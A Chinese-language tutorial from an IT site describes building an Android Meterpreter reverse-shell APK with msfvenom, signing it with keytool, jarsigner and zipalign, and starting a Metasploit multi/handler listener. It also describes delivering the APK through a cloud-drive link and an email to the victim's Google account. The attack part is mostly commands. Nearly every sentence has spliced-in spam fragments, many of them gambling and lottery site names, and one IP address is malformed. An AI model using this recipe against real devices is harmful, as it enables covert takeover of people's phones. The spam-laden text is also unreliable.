IT技術互動交流平台

如何使用Metasploit對安卓手機進行控製

作者_|重生之凤求凰:佚名  發布日期_限娱令的影响:2016-05-17 22:04:21


文章內容可能具有一定攻擊性-_|168彩票官网登录7168,本文僅供技術交流_|-2元彩票网,如有非法使用後果自負-|让利是什么意思。
在這次的實驗中-_敕令大将军到此,我會使用kali linux和安卓模擬器演示如何使用Metasploit框架控製Android設備---1分快3是不是正规的。
創建負載
我們需要兩台虛擬機___石家庄43中电话:Kali Linux和安卓模擬器_--淘宝网上开店。

 
 
打開vm啟動Kali linux-上海蹦极。接著打開終端-_nokia3110c,使用msfvenom製作android利用程序__-斯玛特卡余额查询。

Msfvenom是msfpayload和msfencode的組合-|-众彩跟单靠谱吗。它是一個單一的工具_艾尔之光宠物食物。它有標準的命令行選項-霸主情云。 Msfvenom用來製造的有效載荷用來滲透Android模擬器--|搜搜返利网。
一旦打開終端提示符下輸入以下命令-_动感地带随心聊,使用msfvenom工具來創建有效載荷APK文件__龙珠ol国服下载。
```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk
```
p 設置要使用的payload
LHOST 設置用來接收反彈連接的主機
LPORT 設置用來接收反彈連接的端口
R 設置文件格式
Location 要保存的文件位置
這個命令執行完之後_|-京珠高速车祸,你會看到一些錯誤|_注册名城娱乐是骗局吗,但不用擔心_黄油嘴型号。現在可以到輸出目錄查看生成的apk了|_|沈阳观赏鱼论坛。

 
 
我們已經成功創建了Android格式(APK)文件的有效載荷||众盈彩合法正规吗。現在一般Android的移動設備不允許安裝沒有適當簽名證書的應用程序|智胜彩票app。 Android設備隻安裝帶有簽署文件的APK--_咖啡恋人。
我們可以使用如下工具進行手動簽名-_|金范金素恩吻戏:
l Keytool (已安裝)
l jar signer (已安裝)
l zipalign (需要安裝)
執行下列命令簽名__-discoverybuy。首先使用密鑰工具創建密鑰庫-|掌上购彩破解。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
`

 
然後使用JARsigner簽名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner驗證簽名
jarsigner -verify -verbose -certs APPNAME.apk
`

 
Kali沒有預裝Zipalign-|校园合唱歌曲,需要先apt-get install zipalign-_口工漫画里库番本。然後用zipalign來驗證apk_-众购彩票平台。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk

 
現在我們有了一個帶有簽名的APK---苟在松,它可以安裝在任何設備上|||小学优秀教师事迹。

 
使用Metasploit進行測試
接下來啟動metasploit的監聽器-李涵辰网站。執行msfconsole打開控製台|无主之地2发型不好的日子。

 
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit

 

是時候將惡意的APK發送到手機上_-天目通移动维修论坛。我們這裏使用一個網盤上傳我們的APK_chc动作电影,並將下載鏈接分享出去|--诛仙飞升任务流程。

 
 
這是我們切換到安卓模擬器-_|家门的荣光百度影音。
1-||工作总结结尾、從https://code.google.com/archive/p/android-x86/downloads下載android x86的iso-_|江腾蛟回忆录。
2__屈臣氏 化妆品、使用vmware創建一個內核版本為2.6的虛擬機|_168彩票平台安全吗?。
3--|长沙王府井电影院、掛載鏡像_-徐娇的电影,啟動虛擬機_--汇锦卡盟。
4___白袍之恋主题曲、進入Live模式_-_见我一面吧。
5|_花萝卜论坛、設置手機並登陸穀歌帳號|-|邢台二手货车百姓网。
在安卓模擬器裏麵點擊那個鏈接並下載-_众彩网可信吗。我們已經發送了一封郵件到受害者的穀歌帳號上_-_魔龙辅助。

 
另外要允許安卓安裝來曆不明的apk|--静佳jcare纤体梅。



 
切換回Kali_|四川工人日报电子版,我們發現創建了一個新的會話|_艾滋门。

 
然後你就可以為所欲為的操作這台“手機”了_优选彩票是真的吗。

 
 

延伸閱讀-_钢之魔法师2:

Tag標簽|_-22彩票安全吗: 安卓   手機  
  • 專題推薦

  • Windows7係統入門 優化 技巧技術專題
  • Windows7係統專題 無論是升級操作係統-_京东电器网上商城店、資料備份_-怎么样开淘宝网店、加強資料的安全及管...... 詳細
About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯係方式
本站內容來自於互聯網,僅供用於網絡技術學習,學習中請遵循相關法律法規
金祥彩票快乐赛车盛兴彩票秒速飞艇pc蛋蛋9号彩票

免责声明: 本站资料及图片来源互联网文章,本网不承担任何由内容信息所引起的争议和法律责任。所有作品版权归原创作者所有,与本站立场无关,如用户分享不慎侵犯了您的权益,请联系我们告知,我们将做删除处理!